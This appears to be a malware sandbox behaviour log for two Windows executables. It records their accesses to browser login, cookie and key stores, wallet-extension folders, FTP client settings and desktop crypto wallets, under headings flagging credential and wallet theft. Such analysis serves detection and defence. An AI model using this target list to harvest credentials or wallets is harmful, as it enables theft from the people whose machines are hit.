Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
